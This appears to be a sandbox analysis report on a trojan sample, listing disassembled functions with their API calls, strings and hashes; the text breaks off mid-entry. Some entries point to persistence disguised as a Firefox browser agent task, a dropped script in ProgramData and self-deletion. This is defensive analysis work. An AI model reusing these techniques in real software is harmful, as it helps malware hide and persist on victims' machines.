String ID: cmmaewimvbelpxqmmrwavslbvxckdjjxygghbhnehbeilkkwojuodtbqctfcndflgicarztuniwfnttitcozeduy$dzydwibcsmroxflhizzvayjcy$fwtzeppezjvazhyujtmjporsiuhoepcyezpzrndtdjonhkfwspgmjwijppeqbrmoricjjfsnrrohmmtnhquudfm
API String ID: 1455298312-3639978120
Opcode ID: f21e6076bd677f09f03c43ad65e94fe030eadc32ea2284184397336a25b2a09a
Instruction ID: 6dbd8aad02b07a0eef21280c74335563e76ba6a38110274c3f03466440e01ef1
Opcode Fuzzy Hash: f21e6076bd677f09f03c43ad65e94fe030eadc32ea2284184397336a25b2a09a
Instruction Fuzzy Hash: BD214431904A8CEECB01DFA8C825BEEBBB4FF56704F10425AE411AB291EF751B45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008F53DB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 008F54FA
___TypeMatch.LIBVCRUNTIME ref: 008F5608
_UnwindNestedFrames.LIBCMT ref: 008F575A
CallUnexpected.LIBVCRUNTIME ref: 008F5775

Strings

csm, xrefs: 008F5485
csm, xrefs: 008F5418
csm, xrefs: 008F5531

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 6c54fb2af0a0da8b73fa19984abcb1d8327cb2ffac72eef87069a534534e6415
Instruction ID: 0857a32247fc0508d49e373add51287fd4e710d26312afaae790189663236e2f
Opcode Fuzzy Hash: 6c54fb2af0a0da8b73fa19984abcb1d8327cb2ffac72eef87069a534534e6415
Instruction Fuzzy Hash: 6BB12471800A0DEBCF14EFB8D8819BEBBB5FF14315B14415AEB11AB212D735DA51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02B864B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 167memorynetworkCOMMON

Download Yara Rule

APIs

InternetCrackUrlW.WININET(02B8A10C,00000000,00000000,0000003C), ref: 02B86515
GetProcessHeap.KERNEL32(00000008,00000001,02B8A10C), ref: 02B86537
HeapAlloc.KERNEL32(00000000), ref: 02B8653A
GetProcessHeap.KERNEL32(00000008,00000000,00000000), ref: 02B865A9
HeapAlloc.KERNEL32(00000000), ref: 02B865AC

Strings

<, xrefs: 02B864CB

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AllocProcess$CrackInternet
String ID: <
API String ID: 2637570027-4251816714
Opcode ID: 1c0f87296aeaf5b37f7716b6d73055c73f91e5ffade4d0358f7a2008c619cb88
Instruction ID: 0c0f506cda55c9cf30cab11076a4470ed96f3a9a0a536a82f9c63257414b37bc
Opcode Fuzzy Hash: 1c0f87296aeaf5b37f7716b6d73055c73f91e5ffade4d0358f7a2008c619cb88
Instruction Fuzzy Hash: DF51BE34A0024A8FDB24EF68D484BAEB7F9FF49308F2844ADD459DB642DB71D942C750

Uniqueness

Uniqueness Score: -1.00%

Function 008F4D50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008F4D87
___except_validate_context_record.LIBVCRUNTIME ref: 008F4D8F
_ValidateLocalCookies.LIBCMT ref: 008F4E18
__IsNonwritableInCurrentImage.LIBCMT ref: 008F4E43
_ValidateLocalCookies.LIBCMT ref: 008F4E98

Strings

csm, xrefs: 008F4E2D

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 30982f10e1fe6c8c9fe57969ba9959e71674c99972c1bd96456a80a665ea2fed
Instruction ID: be9000ef6cdd1a0319469fa76f418f0d0aa3e4ee12ae24d693ca2b50deeafe74
Opcode Fuzzy Hash: 30982f10e1fe6c8c9fe57969ba9959e71674c99972c1bd96456a80a665ea2fed
Instruction Fuzzy Hash: D5416034A0020D9BCF10EF78C885AAFBBB5FF85324F148156EA159B392D731AA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008FA415 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 008FA46C
ext-ms-, xrefs: 008FA480

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e60d56ea068c61182835c80510a399f5f6faf915869afa79d0d05f8b0dbe93d8
Instruction ID: 3819e4408cbc44bb95ee530e4b0aae3f37a1d8d74daea8c340f805af02fa22bd
Opcode Fuzzy Hash: e60d56ea068c61182835c80510a399f5f6faf915869afa79d0d05f8b0dbe93d8
Instruction Fuzzy Hash: 6F21DBB1A4522CAFDB258B389C49A7A3669FF61770B100110EF0DF71D1E6B0ED0095FA

Uniqueness

Uniqueness Score: -1.00%

Function 008F219E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

operator!=.LIBCPMTD ref: 008F2294
task.LIBCPMTD ref: 008F22A5
task.LIBCPMTD ref: 008F22B4

Strings

ianh, xrefs: 008F21D1
oyr, xrefs: 008F21F6
lgorocmtlicgntojuhnxsyvwoxnzmsynfanydnuerqa, xrefs: 008F21E5

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traitsoperator!=
String ID: ianh$lgorocmtlicgntojuhnxsyvwoxnzmsynfanydnuerqa$oyr
API String ID: 2802545854-2962047866
Opcode ID: a058471ff730b7d69325d478c4eb4063ad5ffc20c63b9b41e4041f63cb3c43df
Instruction ID: ff5f1a57de225d851da65f9b49f10d4f27c83d2050bd0d89b40c287b25491d7a
Opcode Fuzzy Hash: a058471ff730b7d69325d478c4eb4063ad5ffc20c63b9b41e4041f63cb3c43df
Instruction Fuzzy Hash: 2C31167090465CDEEB20DBB8C855BEEBBB0FB44704F104199E149B7282DBB45B89CF61

Uniqueness

Uniqueness Score: -1.00%

Function 008F9DCE Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008F9D96: _free.LIBCMT ref: 008F9DBB

_free.LIBCMT ref: 008F9E1C

Part of subcall function 008F7FB2: HeapFree.KERNEL32(00000000,00000000,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?), ref: 008F7FC8
Part of subcall function 008F7FB2: GetLastError.KERNEL32(?,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?,?), ref: 008F7FDA

_free.LIBCMT ref: 008F9E27
_free.LIBCMT ref: 008F9E32
_free.LIBCMT ref: 008F9E86
_free.LIBCMT ref: 008F9E91
_free.LIBCMT ref: 008F9E9C
_free.LIBCMT ref: 008F9EA7

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f8652940eed608665d87997f49d8a726addb3db1c042498b6f01942da26be76f
Instruction ID: 7e7ff988a07ed4bd3fde6c679a896c483ceb171e6d0a5d1fb3569dee028164a9
Opcode Fuzzy Hash: f8652940eed608665d87997f49d8a726addb3db1c042498b6f01942da26be76f
Instruction Fuzzy Hash: 62115931944B09AAE630BBB9CC06FEBB79DFF01700F804814F399E6052DB65A9448762

Uniqueness

Uniqueness Score: -1.00%

Function 008FBFF8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 008FC040
__fassign.LIBCMT ref: 008FC225
__fassign.LIBCMT ref: 008FC242
WriteFile.KERNEL32(?,008FAD05,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008FC28A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 008FC2CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 008FC372

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: fcf376852b632e55a4b3e5f9ad6d2b0e27f757b293d31c8cb9b0ef5be058b719
Instruction ID: fd2c1c1daa6cccc6a6ea390fdf68d752e25572ad1a775a9d8e34b7aa633d3cef
Opcode Fuzzy Hash: fcf376852b632e55a4b3e5f9ad6d2b0e27f757b293d31c8cb9b0ef5be058b719
Instruction Fuzzy Hash: 17C17A75D0425D8FCB14CFA8C9809EDBBB5FF49318F28816AE956F7342D6319A42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02B88114 Relevance: 9.1, APIs: 6, Instructions: 81sleepstringthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 02B87DA6
lstrcmpA.KERNEL32(00000000,INIT), ref: 02B87DB3
StrToIntA.SHLWAPI(00000000), ref: 02B87E76
GetTickCount64.KERNEL32 ref: 02B8827B

Part of subcall function 02B855B0: GetProcessHeap.KERNEL32(00000008,00000001,02B87E3E,00000001,00000000), ref: 02B855B3
Part of subcall function 02B855B0: HeapAlloc.KERNEL32(00000000), ref: 02B855BA

StrToIntA.SHLWAPI(00000000), ref: 02B88174
StrToIntA.SHLWAPI(?), ref: 02B8817D
CreateThread.KERNEL32(00000000,00000000,Function_00007270,00000000,00000000,00000000), ref: 02B88191
CloseHandle.KERNEL32(00000000), ref: 02B8819C

Part of subcall function 02B855D0: GetProcessHeap.KERNEL32(00000000,00000000,02B882C5), ref: 02B855D7
Part of subcall function 02B855D0: HeapFree.KERNEL32(00000000), ref: 02B855DE

Sleep.KERNEL32(00000000), ref: 02B882D6

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$ProcessSleep$AllocCloseCount64CreateFreeHandleThreadTicklstrcmp
String ID:
API String ID: 1253608127-0
Opcode ID: 0805f3249855272a0bbcac2c16ed93ac050dcdb47b9789dccf755307535cb76c
Instruction ID: 79ddd2cc6d596c3e017744ac614159cc1e66f9173e0f0a3643327d69e6837842
Opcode Fuzzy Hash: 0805f3249855272a0bbcac2c16ed93ac050dcdb47b9789dccf755307535cb76c
Instruction Fuzzy Hash: 21219E71E0060997CB24BBB09840BAFB6BAAF44344F5004AAE81EA7290EF309904CF91

Uniqueness

Uniqueness Score: -1.00%

Function 008F50A4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,008F509B,008F4C89,008F43FF), ref: 008F50B2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008F50C0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008F50D9
SetLastError.KERNEL32(00000000,008F509B,008F4C89,008F43FF), ref: 008F512B

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 48ce89071f2b523bc784db09261318ef9822522b8d13927bdb6b5baa0aeb644f
Instruction ID: 4cec1bd4f20a209595999141bd4e437679288ed2bc8fa5a57ff38380550243ca
Opcode Fuzzy Hash: 48ce89071f2b523bc784db09261318ef9822522b8d13927bdb6b5baa0aeb644f
Instruction Fuzzy Hash: C701243262DF195EEB2427B86C86A7B2A64FB55774730032AF750C10F0FEA14C557150

Uniqueness

Uniqueness Score: -1.00%

Function 008F1BD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

task.LIBCPMTD ref: 008F1C63
task.LIBCPMTD ref: 008F1C72

Strings

ggieqzszmbzlvilbxhiegdimtjzyfwhho, xrefs: 008F1C08, 008F1C20, 008F1C3D
O, xrefs: 008F1CA4

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traits
String ID: O$ggieqzszmbzlvilbxhiegdimtjzyfwhho
API String ID: 1455298312-2259853572
Opcode ID: cb21f007a609bf1eba6dd406c1e2aba63e346896e1428c623c41a895d7f23d22
Instruction ID: b8568fbe88f774c1d491bb68f0ed2919e87fc5eef6f291b093ddf3401684961a
Opcode Fuzzy Hash: cb21f007a609bf1eba6dd406c1e2aba63e346896e1428c623c41a895d7f23d22
Instruction Fuzzy Hash: CE414670D0465CDECF14CFB8D999BBDBBB0FB44308F20412AE512EA280DB759A44DB55

Uniqueness

Uniqueness Score: -1.00%

Function 008F1FF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 008F3040: char_traits.LIBCPMTD ref: 008F3080

task.LIBCPMTD ref: 008F204A
task.LIBCPMTD ref: 008F2056
task.LIBCPMTD ref: 008F2065

Strings

zrkzluimcyldjjcpuredwrursfudljqvoylitrgjifhjbxefdbyeqmrflbddqkjftjavheyivqdszqqujytotdawjlvaheatads, xrefs: 008F2029
* , xrefs: 008F2022

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: task$char_traits
String ID: * $zrkzluimcyldjjcpuredwrursfudljqvoylitrgjifhjbxefdbyeqmrflbddqkjftjavheyivqdszqqujytotdawjlvaheatads
API String ID: 1455298312-2972419988
Opcode ID: 687d1068cca64391625db430252f3576b080dea02f023b8a3146df8998ec1c2e
Instruction ID: b9300946d3de5076a998dd0ea19683a53020a141d2f9874d6fa1844d3a4472c1
Opcode Fuzzy Hash: 687d1068cca64391625db430252f3576b080dea02f023b8a3146df8998ec1c2e
Instruction Fuzzy Hash: 70115B31904A4CDACB04DFA8D855BEEFBB4FB48714F00821AE821B72D1EF355608CB55

Uniqueness

Uniqueness Score: -1.00%

Function 008F7627 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,008F75D9,?,?,008F75A1,?,?,?), ref: 008F763C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008F764F
FreeLibrary.KERNEL32(00000000,?,?,008F75D9,?,?,008F75A1,?,?,?), ref: 008F7672

Strings

mscoree.dll, xrefs: 008F7635
CorExitProcess, xrefs: 008F7647

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ddecc26e1ce04a6b2b86fc87cab85a103a1cce8fb5ce8276d73c7cf26a0d6e06
Instruction ID: 9ffce94cba44f292d77da8b77dcce4ed2e1a61e3f3b2f0056fb86038cf0dbd6c
Opcode Fuzzy Hash: ddecc26e1ce04a6b2b86fc87cab85a103a1cce8fb5ce8276d73c7cf26a0d6e06
Instruction Fuzzy Hash: 9FF08C31A19719FFDB119B64DC09BAE7AB9FB4479AF000160FA01E21A0DB748E40EA90

Uniqueness

Uniqueness Score: -1.00%

Function 02B87200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 02B8721F
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 02B8723B

Part of subcall function 02B86AA0: VariantInit.OLEAUT32(?), ref: 02B86AB7
Part of subcall function 02B86AA0: CoCreateInstance.OLE32(02B81020,00000000,00000001,02B81000,?), ref: 02B86AD4
Part of subcall function 02B86AA0: SysAllocString.OLEAUT32(\Mozilla), ref: 02B86B14
Part of subcall function 02B86AA0: SysFreeString.OLEAUT32(?), ref: 02B86B4B
Part of subcall function 02B86AA0: SysAllocString.OLEAUT32(Firefox Default Browser Agent 318146B0AF4A39CB), ref: 02B86B58
Part of subcall function 02B86AA0: SysFreeString.OLEAUT32(00000000), ref: 02B86B6F

Part of subcall function 02B89070: GetFileAttributesW.KERNEL32(?,02B87251), ref: 02B89071

DeleteFileW.KERNEL32(?), ref: 02B8725C
ExitProcess.KERNEL32 ref: 02B87264

Strings

%%ProgramData%%\r%Sr.js, xrefs: 02B87214

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: String$AllocFileFree$AttributesCreateDeleteEnvironmentExitExpandInitInstanceProcessStringsVariantwnsprintf
String ID: %%ProgramData%%\r%Sr.js
API String ID: 3376550436-2368859843
Opcode ID: 238c4f9807776e8e2f8d19727db85a51a1ac0e26597375b59bd6538138273781
Instruction ID: 16e8f2add3899edccbbbb43e339cad42991f14d7fdd3a227df3611482ed5bd39
Opcode Fuzzy Hash: 238c4f9807776e8e2f8d19727db85a51a1ac0e26597375b59bd6538138273781
Instruction Fuzzy Hash: D0F0FEB1850208A7DB10FBA0CC4DED9776CAB04749F4009E1B66EE6192EAB096D5CE55

Uniqueness

Uniqueness Score: -1.00%

Function 008F9D2D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 008F9D45

Part of subcall function 008F7FB2: HeapFree.KERNEL32(00000000,00000000,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?), ref: 008F7FC8
Part of subcall function 008F7FB2: GetLastError.KERNEL32(?,?,008F9DC0,?,00000000,?,?,?,008F9DE7,?,00000007,?,?,008FA25B,?,?), ref: 008F7FDA

_free.LIBCMT ref: 008F9D57
_free.LIBCMT ref: 008F9D69
_free.LIBCMT ref: 008F9D7B
_free.LIBCMT ref: 008F9D8D

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7e2324108af4d6b32ca5b0dec8fc4dc77484885fa40ada6fcfac823917a079c8
Instruction ID: 986e2abbe40237c8bb2a9a0153b58951cb93eb90f6804d007a63885e6cd478ef
Opcode Fuzzy Hash: 7e2324108af4d6b32ca5b0dec8fc4dc77484885fa40ada6fcfac823917a079c8
Instruction Fuzzy Hash: BCF0F97261D608ABD634FB7CE886D3AB3E9FA007107654809F688D7611CF31FCC08A65

Uniqueness

Uniqueness Score: -1.00%

Function 008F6E05 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe, xrefs: 008F6E43, 008F6E4A, 008F6E7E

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.14399.1813.exe
API String ID: 0-1324067227
Opcode ID: 61bd9ed9e251bf99d7099b86f016c77a274912fe92f402e5c9eec3aa632e3e8e
Instruction ID: 0d59866d35c6dd19bd583e5490de383dedc6877ab6948998414dd81482d399db
Opcode Fuzzy Hash: 61bd9ed9e251bf99d7099b86f016c77a274912fe92f402e5c9eec3aa632e3e8e
Instruction Fuzzy Hash: CA31AF71A1421DEFCB21DFADD885DBEBBB8FB85710B20026AE600D7251EB709A50DB50

Uniqueness

Uniqueness Score: -1.00%

Function 008F61B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,008F6163,00000000,?,00908D08,?,?,?,008F6306,00000004,InitializeCriticalSectionEx,00901C98,InitializeCriticalSectionEx), ref: 008F61BF
GetLastError.KERNEL32(?,008F6163,00000000,?,00908D08,?,?,?,008F6306,00000004,InitializeCriticalSectionEx,00901C98,InitializeCriticalSectionEx,00000000,?,008F60BD), ref: 008F61C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 008F61F1

Strings

api-ms-, xrefs: 008F61D6

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 0657cad8f66c020a2b1f71bbda449ff5cec999a4ecf5c86aced094c577f80b0f
Instruction ID: 3ba8019379219b8de5e82f16c6c509f82fdfd5c6bccd7d735a75b8eca5070bdf
Opcode Fuzzy Hash: 0657cad8f66c020a2b1f71bbda449ff5cec999a4ecf5c86aced094c577f80b0f
Instruction Fuzzy Hash: B4E04F3029420DBBEF202B70ED06B693E6AEB01B40F104530FB4DE80E3EB61D9E1A595

Uniqueness

Uniqueness Score: -1.00%

Function 008F5184 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 008F524B
___AdjustPointer.LIBCMT ref: 008F526E
___AdjustPointer.LIBCMT ref: 008F530A

Memory Dump Source

